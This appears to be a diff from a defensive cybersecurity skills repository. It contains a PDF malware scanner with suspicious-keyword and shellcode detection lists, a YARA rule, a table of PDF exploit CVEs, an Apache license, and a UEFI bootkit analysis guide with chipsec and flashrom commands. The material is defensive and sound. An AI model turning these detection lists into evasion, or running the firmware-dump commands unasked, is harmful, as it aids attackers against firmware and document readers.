## peepdf - Interactive PDF Analysis
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
peepdf -i document.pdf # Interactive mode
|
||||
peepdf -f document.pdf # Force analysis
|
||||
peepdf -l document.pdf # Loose mode
|
||||
```
|
||||
|
||||
### Interactive Commands
|
||||
```
|
||||
info # Document summary
|
||||
tree # Object tree
|
||||
object 5 # Show object
|
||||
stream 5 # Show stream content
|
||||
js_analyse # Analyze all JavaScript
|
||||
extract js > output.js # Extract JavaScript
|
||||
```
|
||||
|
||||
## Known PDF Exploit CVEs
|
||||
|
||||
| CVE | Component | Description |
|
||||
|-----|-----------|-------------|
|
||||
| CVE-2009-0658 | JBIG2Decode | Buffer overflow in JBIG2 decoder |
|
||||
| CVE-2009-0927 | Collab.getIcon | JavaScript method exploit |
|
||||
| CVE-2008-2992 | util.printf | Format string vulnerability |
|
||||
| CVE-2010-0188 | LibTIFF | TIFF image processing overflow |
|
||||
| CVE-2013-0640 | XFA | XML Forms Architecture exploit |
|
||||
| CVE-2018-4990 | EmbeddedFile | Double-free in embedded files |
|
||||
|
||||
## YARA Rules for PDF Malware
|
||||
|
||||
### Example Rule
|
||||
```yara
|
||||
rule PDF_Suspicious {
|
||||
meta:
|
||||
description = "PDF with JavaScript and auto-execution"
|
||||
strings:
|
||||
$pdf = "%PDF-"
|
||||
$js = "/JS" nocase
|
||||
$openaction = "/OpenAction"
|
||||
$launch = "/Launch"
|
||||
condition:
|
||||
$pdf at 0 and ($js and $openaction) or $launch
|
||||
}
|
||||
```
|
||||
|
||||
## Python PDF Libraries
|
||||
|
||||
### PyPDF2
|
||||
```python
|
||||
from PyPDF2 import PdfReader
|
||||
reader = PdfReader("document.pdf")
|
||||
print(len(reader.pages))
|
||||
for page in reader.pages:
|
||||
print(page.extract_text())
|
||||
```
|
||||
|
||||
### pikepdf
|
||||
```python
|
||||
import pikepdf
|
||||
pdf = pikepdf.open("document.pdf")
|
||||
for obj_num in pdf.objects:
|
||||
obj = pdf.get_object(obj_num)
|
||||
if "/JS" in str(obj):
|
||||
print(f"JavaScript in object {obj_num}")
|
||||
```
|
||||
@@ -0,0 +1,240 @@
|
||||
#!/usr/bin/env python3
|
||||
"""PDF malware analysis agent using pdfid concepts and pdf-parser for object extraction."""
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
import zlib
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
"""Compute SHA-256 hash of a file."""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
PDF_SUSPICIOUS_KEYWORDS = {
|
||||
"/JS": "JavaScript (embedded script execution)",
|
||||
"/JavaScript": "JavaScript action",
|
||||
"/AA": "Additional Actions (auto-execute triggers)",
|
||||
"/OpenAction": "Action on document open",
|
||||
"/AcroForm": "Interactive form (can contain JavaScript)",
|
||||
"/JBIG2Decode": "JBIG2 decoder (CVE-2009-0658 exploit vector)",
|
||||
"/RichMedia": "Rich media / Flash content",
|
||||
"/Launch": "Launch action (execute external file)",
|
||||
"/EmbeddedFile": "Embedded file (potential payload)",
|
||||
"/XFA": "XML Forms Architecture (script execution)",
|
||||
"/URI": "URI action (external link)",
|
||||
"/SubmitForm": "Form submission (data exfiltration)",
|
||||
"/ObjStm": "Object Stream (can hide objects from basic parsers)",
|
||||
}
|
||||
|
||||
|
||||
def scan_pdf_keywords(filepath):
|
||||
"""Scan a PDF file for suspicious keywords similar to pdfid."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
text = data.decode("latin-1", errors="replace")
|
||||
results = {}
|
||||
for keyword, description in PDF_SUSPICIOUS_KEYWORDS.items():
|
||||
count = text.count(keyword)
|
||||
if count > 0:
|
||||
results[keyword] = {"count": count, "description": description}
|
||||
|
||||
# Count standard PDF structure elements
|
||||
structure = {
|
||||
"obj": len(re.findall(r"\d+ \d+ obj", text)),
|
||||
"endobj": text.count("endobj"),
|
||||
"stream": text.count("stream"),
|
||||
"endstream": text.count("endstream"),
|
||||
"xref": text.count("xref"),
|
||||
"trailer": text.count("trailer"),
|
||||
"startxref": text.count("startxref"),
|
||||
"page_count": len(re.findall(r"/Type\s*/Page[^s]", text)),
|
||||
"encrypted": 1 if "/Encrypt" in text else 0,
|
||||
}
|
||||
return results, structure
|
||||
|
||||
|
||||
def extract_pdf_version(filepath):
|
||||
"""Extract the PDF version from the header."""
|
||||
with open(filepath, "rb") as f:
|
||||
header = f.read(20)
|
||||
match = re.search(rb"%PDF-(\d+\.\d+)", header)
|
||||
return match.group(1).decode() if match else "unknown"
|
||||
|
||||
|
||||
def find_stream_objects(filepath):
|
||||
"""Find and extract stream objects from the PDF."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
streams = []
|
||||
pattern = rb"(\d+)\s+(\d+)\s+obj.*?stream\r?\n(.*?)endstream"
|
||||
for match in re.finditer(pattern, data, re.DOTALL):
|
||||
obj_num = int(match.group(1))
|
||||
gen_num = int(match.group(2))
|
||||
stream_data = match.group(3)
|
||||
decoded = None
|
||||
try:
|
||||
decoded = zlib.decompress(stream_data)
|
||||
except zlib.error:
|
||||
pass
|
||||
streams.append({
|
||||
"object": f"{obj_num} {gen_num}",
|
||||
"raw_size": len(stream_data),
|
||||
"decoded_size": len(decoded) if decoded else 0,
|
||||
"decodable": decoded is not None,
|
||||
"preview": (decoded[:200] if decoded else stream_data[:200]).decode(
|
||||
"latin-1", errors="replace"),
|
||||
})
|
||||
return streams
|
||||
|
||||
|
||||
def extract_javascript(filepath):
|
||||
"""Extract JavaScript code from PDF objects."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
text = data.decode("latin-1", errors="replace")
|
||||
|
||||
js_blocks = []
|
||||
# Look for JavaScript in stream objects
|
||||
js_pattern = re.compile(r"/JS\s*\((.*?)\)", re.DOTALL)
|
||||
for match in js_pattern.finditer(text):
|
||||
js_blocks.append({"type": "inline", "code": match.group(1)[:500]})
|
||||
|
||||
# Look for JavaScript in hex-encoded strings
|
||||
hex_pattern = re.compile(r"/JS\s*<([0-9A-Fa-f]+)>")
|
||||
for match in hex_pattern.finditer(text):
|
||||
try:
|
||||
decoded = bytes.fromhex(match.group(1)).decode("utf-8", errors="replace")
|
||||
js_blocks.append({"type": "hex_encoded", "code": decoded[:500]})
|
||||
except ValueError:
|
||||
pass
|
||||
return js_blocks
|
||||
|
||||
|
||||
def extract_urls(filepath):
|
||||
"""Extract URLs from the PDF content."""
|
||||
with open(filepath, "rb") as f:
|
||||
data = f.read()
|
||||
text = data.decode("latin-1", errors="replace")
|
||||
urls = list(set(re.findall(r"https?://[^\s<>\"')\]]+", text)))
|
||||
return urls
|
||||
|
||||
|
||||
def detect_exploits(keywords, streams):
|
||||
"""Check for known PDF exploit indicators."""
|
||||
exploits = []
|
||||
if "/JBIG2Decode" in keywords:
|
||||
exploits.append({
|
||||
"cve": "CVE-2009-0658",
|
||||
"description": "JBIG2 decoder vulnerability in Adobe Reader",
|
||||
"confidence": "MEDIUM",
|
||||
})
|
||||
for stream in streams:
|
||||
preview = stream.get("preview", "").lower()
|
||||
if "shellcode" in preview or "\\x90\\x90" in preview:
|
||||
exploits.append({
|
||||
"cve": "Generic shellcode",
|
||||
"description": "Potential shellcode detected in stream",
|
||||
"confidence": "HIGH",
|
||||
})
|
||||
if "util.printf" in preview or "collab.geticon" in preview:
|
||||
exploits.append({
|
||||
"cve": "CVE-2008-2992 / CVE-2009-0927",
|
||||
"description": "Known Adobe Reader JavaScript exploits",
|
||||
"confidence": "HIGH",
|
||||
})
|
||||
return exploits
|
||||
|
||||
|
||||
def calculate_risk_score(keywords, structure, exploits, js_blocks):
|
||||
"""Calculate a risk score for the PDF."""
|
||||
score = 0
|
||||
if "/JS" in keywords or "/JavaScript" in keywords:
|
||||
score += 30
|
||||
if "/OpenAction" in keywords or "/AA" in keywords:
|
||||
score += 20
|
||||
if "/Launch" in keywords:
|
||||
score += 25
|
||||
if "/EmbeddedFile" in keywords:
|
||||
score += 15
|
||||
if "/JBIG2Decode" in keywords:
|
||||
score += 20
|
||||
if structure.get("encrypted"):
|
||||
score += 10
|
||||
score += len(exploits) * 20
|
||||
score += len(js_blocks) * 10
|
||||
return min(score, 100)
|
||||
|
||||
|
||||
def generate_report(filepath, keywords, structure, streams, js_blocks,
|
||||
urls, exploits, risk_score):
|
||||
"""Generate PDF malware analysis report."""
|
||||
return {
|
||||
"file": filepath,
|
||||
"sha256": compute_hash(filepath),
|
||||
"size": os.path.getsize(filepath),
|
||||
"pdf_version": extract_pdf_version(filepath),
|
||||
"structure": structure,
|
||||
"suspicious_keywords": keywords,
|
||||
"streams": len(streams),
|
||||
"javascript_blocks": len(js_blocks),
|
||||
"urls_found": len(urls),
|
||||
"exploit_indicators": exploits,
|
||||
"risk_score": risk_score,
|
||||
"risk_level": "HIGH" if risk_score >= 60 else "MEDIUM" if risk_score >= 30 else "LOW",
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("PDF Malware Analysis Agent")
|
||||
print("Keyword scanning, JavaScript extraction, exploit detection")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if target and os.path.exists(target):
|
||||
print(f"\n[*] Analyzing: {target}")
|
||||
print(f"[*] SHA-256: {compute_hash(target)}")
|
||||
print(f"[*] PDF version: {extract_pdf_version(target)}")
|
||||
|
||||
print("\n--- Suspicious Keywords (pdfid-style) ---")
|
||||
keywords, structure = scan_pdf_keywords(target)
|
||||
for kw, info in keywords.items():
|
||||
print(f" [!] {kw}: {info['count']}x - {info['description']}")
|
||||
|
||||
print(f"\n--- Structure ---")
|
||||
for key, val in structure.items():
|
||||
print(f" {key}: {val}")
|
||||
|
||||
print("\n--- Stream Objects ---")
|
||||
streams = find_stream_objects(target)
|
||||
print(f" Found: {len(streams)} streams")
|
||||
|
||||
print("\n--- JavaScript Extraction ---")
|
||||
js = extract_javascript(target)
|
||||
for j in js:
|
||||
print(f" [{j['type']}] {j['code'][:100]}...")
|
||||
|
||||
print("\n--- URLs ---")
|
||||
urls = extract_urls(target)
|
||||
for u in urls[:10]:
|
||||
print(f" {u}")
|
||||
|
||||
print("\n--- Exploit Detection ---")
|
||||
exploits = detect_exploits(keywords, streams)
|
||||
for e in exploits:
|
||||
print(f" [{e['confidence']}] {e['cve']}: {e['description']}")
|
||||
|
||||
risk = calculate_risk_score(keywords, structure, exploits, js)
|
||||
print(f"\n[*] Risk Score: {risk}/100")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <document.pdf>")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,369 @@
|
||||
---
|
||||
name: analyzing-uefi-bootkit-persistence
|
||||
description: 'Analyzes UEFI bootkit persistence (SPI flash implants, ESP modifications,
|
||||
Secure Boot bypass, UEFI variable manipulation) using chipsec for firmware integrity
|
||||
verification, detecting known families like BlackLotus, LoJax, and MoonBounce.
|
||||
Use for UEFI malware analysis, firmware persistence investigation, or Secure Boot
|
||||
bypass detection.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: firmware-security
|
||||
tags:
|
||||
- UEFI
|
||||
- bootkit
|
||||
- firmware
|
||||
- Secure-Boot
|
||||
- chipsec
|
||||
- ESP
|
||||
- persistence
|
||||
version: 1.0.0
|
||||
author: mukul975
|
||||
license: Apache-2.0
|
||||
d3fend_techniques:
|
||||
- Platform Hardening
|
||||
- Restore Object
|
||||
- Platform Monitoring
|
||||
- Firmware Verification
|
||||
- Firmware Embedded Monitoring Code
|
||||
nist_csf:
|
||||
- ID.RA-01
|
||||
- PR.PS-01
|
||||
- PR.PS-02
|
||||
mitre_attack:
|
||||
- T1542.001
|
||||
- T1542.003
|
||||
- T1553.006
|
||||
- T1542
|
||||
- T1014
|
||||
---
|
||||
|
||||
# Analyzing UEFI Bootkit Persistence
|
||||
|
||||
## When to Use
|
||||
|
||||
- A compromised system re-establishes C2 communication after OS reinstallation or disk replacement
|
||||
- Secure Boot has been tampered with, disabled, or shows unexpected Machine Owner Key (MOK) enrollment
|
||||
- Firmware integrity verification fails against vendor-provided baselines
|
||||
- Memory forensics reveals rootkit components loading during early boot phase
|
||||
- Investigating advanced persistent threat (APT) campaigns known to deploy UEFI implants
|
||||
- Auditing firmware security posture for enterprise endpoint hardening
|
||||
|
||||
**Do not use** for standard MBR-based bootkits on legacy BIOS systems without UEFI; use MBR/VBR bootkit analysis instead.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- chipsec framework for SPI flash dumping, UEFI variable inspection, and firmware security modules
|
||||
- UEFITool / UEFIExtract for firmware volume parsing and DXE driver extraction
|
||||
- Python 3.8+ with struct, hashlib, subprocess, and os modules
|
||||
- Bootable Linux live USB for offline analysis (avoid running compromised OS)
|
||||
- Volatility 3 for memory forensics of boot-phase artifacts
|
||||
- YARA with UEFI malware rule sets for pattern-based detection
|
||||
- Access to vendor firmware baselines for integrity comparison
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Dump SPI Flash Firmware
|
||||
|
||||
Acquire the UEFI firmware from the SPI flash chip for offline analysis:
|
||||
|
||||
```bash
|
||||
# Using chipsec to dump SPI flash contents
|
||||
python chipsec_util.py spi dump firmware_dump.rom
|
||||
|
||||
# Using flashrom as an alternative
|
||||
flashrom -p internal -r firmware_dump.rom
|
||||
|
||||
# Verify dump integrity
|
||||
sha256sum firmware_dump.rom
|
||||
|
||||
# Read SPI flash descriptor information
|
||||
python chipsec_util.py spi info
|
||||
|
||||
# Check SPI flash region access permissions
|
||||
python chipsec_main.py -m common.spi_access
|
||||
|
||||
# Verify BIOS write protection is enabled
|
||||
python chipsec_main.py -m common.bios_wp
|
||||
|
||||
# Check SPI flash controller lock
|
||||
python chipsec_main.py -m common.spi_lock
|
||||
```
|
||||
|
||||
### Step 2: Inspect UEFI Variables
|
||||
|
||||
Enumerate and analyze UEFI variables for unauthorized modifications:
|
||||
|
||||
```bash
|
||||
# List all UEFI variables on a live system
|
||||
python chipsec_util.py uefi var-list
|
||||
|
||||
# List UEFI variables from a SPI flash dump
|
||||
python chipsec_util.py uefi var-list-spi firmware_dump.rom
|
||||
|
||||
# Read specific Secure Boot variables
|
||||
python chipsec_util.py uefi var-read SecureBoot 8BE4DF61-93CA-11D2-AA0D-00E098032B8C
|
||||
python chipsec_util.py uefi var-read SetupMode 8BE4DF61-93CA-11D2-AA0D-00E098032B8C
|
||||
python chipsec_util.py uefi var-read PK 8BE4DF61-93CA-11D2-AA0D-00E098032B8C
|
||||
python chipsec_util.py uefi var-read KEK 8BE4DF61-93CA-11D2-AA0D-00E098032B8C
|
||||
python chipsec_util.py uefi var-read db D719B2CB-3D3A-4596-A3BC-DAD00E67656F
|
||||
|
||||
# Dump UEFI key databases for analysis
|
||||
python chipsec_util.py uefi keys
|
||||
|
||||
# Check Secure Boot configuration module
|
||||
python chipsec_main.py -m common.secureboot.variables
|
||||
```
|
||||
|
||||
### Step 3: Analyze EFI System Partition (ESP)
|
||||
|
||||
Inspect the ESP for unauthorized or modified boot components:
|
||||
|
||||
```bash
|
||||
# Mount ESP (typically the first FAT32 partition, ~100-500MB)
|
||||
mkdir /mnt/esp
|
||||
mount /dev/sda1 /mnt/esp
|
||||
|
||||
# List all files on ESP with timestamps
|
||||
find /mnt/esp -type f -exec ls -la {} \;
|
||||
|
||||
# Check for BlackLotus indicators - custom directory under ESP:/system32/
|
||||
ls -la /mnt/esp/system32/ 2>/dev/null
|
||||
|
||||
# Verify Windows Boot Manager signature
|
||||
sigcheck -a /mnt/esp/EFI/Microsoft/Boot/bootmgfw.efi
|
||||
|
||||
# Hash all EFI binaries for comparison against known-good values
|
||||
find /mnt/esp -name "*.efi" -exec sha256sum {} \;
|
||||
|
||||
# Check for unauthorized .efi files outside standard directories
|
||||
find /mnt/esp -name "*.efi" | grep -v "Microsoft\|Boot\|ubuntu\|grub"
|
||||
|
||||
# Look for grubx64.efi planted by BlackLotus
|
||||
find /mnt/esp -name "grubx64.efi" -exec sha256sum {} \;
|
||||
|
||||
# Examine MeasuredBoot logs for anomalies (Windows)
|
||||
# Logs located at C:\Windows\Logs\MeasuredBoot\
|
||||
```
|
||||
|
||||
### Step 4: Scan Firmware for Known Bootkit Signatures
|
||||
|
||||
Analyze the firmware dump for known UEFI malware patterns:
|
||||
|
||||
```bash
|
||||
# Extract all firmware modules with UEFIExtract
|
||||
UEFIExtract firmware_dump.rom all
|
||||
|
||||
# Generate firmware module whitelist from vendor baseline
|
||||
python chipsec_main.py -m tools.uefi.whitelist -a generate,baseline.json,firmware_vendor.rom
|
||||
|
||||
# Compare current firmware against whitelist
|
||||
python chipsec_main.py -m tools.uefi.whitelist -a check,baseline.json,firmware_dump.rom
|
||||
|
||||
# Scan firmware with UEFI-specific YARA rules
|
||||
yara -r uefi_bootkits.yar firmware_dump.rom
|
||||
|
||||
# Scan extracted modules individually
|
||||
find firmware_dump.rom.dump -name "*.efi" -exec yara -r uefi_bootkits.yar {} \;
|
||||
|
||||
# Check for modified CORE_DXE module (targeted by MoonBounce, CosmicStrand)
|
||||
# Compare GUID and hash against vendor baseline
|
||||
```
|
||||
|
||||
### Step 5: Detect Secure Boot Bypass Mechanisms
|
||||
|
||||
Check for known Secure Boot bypass techniques:
|
||||
|
||||
```bash
|
||||
# Check if Secure Boot is enabled
|
||||
python chipsec_main.py -m common.secureboot.variables
|
||||
|
||||
# Verify SMM (System Management Mode) protections
|
||||
python chipsec_main.py -m common.smm
|
||||
|
||||
# Check SMM BIOS write protection
|
||||
python chipsec_main.py -m common.bios_smi
|
||||
|
||||
# On Windows - check boot configuration for bypass indicators
|
||||
bcdedit /enum firmware
|
||||
bcdedit /v
|
||||
|
||||
# Check for testsigning/nointegritychecks/debug flags
|
||||
bcdedit | findstr /i "testsigning nointegritychecks debug"
|
||||
|
||||
# Verify HVCI (Hypervisor-enforced Code Integrity) is not disabled
|
||||
# BlackLotus sets HKLM:\...\DeviceGuard\...\HypervisorEnforcedCodeIntegrity Enabled=0
|
||||
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled
|
||||
|
||||
# Check Secure Boot state via PowerShell
|
||||
# Confirm-SecureBootUEFI returns True if properly enabled
|
||||
```
|
||||
|
||||
### Step 6: Perform Boot Chain Integrity Verification
|
||||
|
||||
Verify every component in the boot chain from firmware through kernel:
|
||||
|
||||
```bash
|
||||
# Verify firmware integrity against vendor hash
|
||||
sha256sum firmware_dump.rom
|
||||
# Compare with vendor-published hash
|
||||
|
||||
# Verify bootloader signatures
|
||||
sigcheck -a C:\Windows\Boot\EFI\bootmgfw.efi
|
||||
sigcheck -a C:\Windows\System32\winload.efi
|
||||
sigcheck -a C:\Windows\System32\ntoskrnl.exe
|
||||
|
||||
# Check for unsigned or invalid boot drivers
|
||||
sigcheck -u -e C:\Windows\System32\drivers\
|
||||
|
||||
# Analyze Measured Boot logs for unexpected EFI_Boot_Services_Application entries
|
||||
# BlackLotus components appear as EV_EFI_Boot_Services_Application
|
||||
|
||||
# Memory forensics for boot-phase artifacts
|
||||
vol3 -f memory.dmp windows.modules
|
||||
vol3 -f memory.dmp windows.driverscan
|
||||
```
|
||||
|
||||
### Step 7: Document UEFI Bootkit Analysis Findings
|
||||
|
||||
Compile a comprehensive analysis report:
|
||||
|
||||
```
|
||||
Report should include:
|
||||
- Firmware version, vendor, and platform identification
|
||||
- SPI flash protection status (write protect, lock bits, access control)
|
||||
- Secure Boot configuration and any bypass indicators detected
|
||||
- UEFI variable anomalies (unauthorized keys, modified db/dbx, MOK enrollment)
|
||||
- ESP contents inventory with hash verification against known-good baselines
|
||||
- Firmware module comparison against vendor whitelist (added, modified, removed)
|
||||
- Known bootkit family attribution with confidence level
|
||||
- Boot chain integrity verification results for each component
|
||||
- Remediation steps (reflash, key rotation, hardware replacement)
|
||||
- MITRE ATT&CK mapping (T1542.001 - System Firmware, T1542.003 - Bootkit)
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **UEFI Bootkit** | Malware that persists in UEFI firmware or the boot process, executing before the operating system loads and surviving OS reinstallation |
|
||||
| **SPI Flash** | Serial Peripheral Interface flash memory chip on the motherboard storing UEFI firmware; firmware-level bootkits like LoJax and MoonBounce modify SPI flash contents |
|
||||
| **EFI System Partition (ESP)** | FAT32 partition containing EFI bootloaders and drivers; bootkits like BlackLotus and ESPecter modify files on the ESP for persistence |
|
||||
| **Secure Boot** | UEFI security feature that verifies digital signatures of boot components; can be bypassed via vulnerabilities (CVE-2022-21894) or MOK enrollment |
|
||||
| **DXE Driver** | Driver Execution Environment driver loaded during UEFI boot; firmware implants inject malicious DXE drivers that execute before the OS |
|
||||
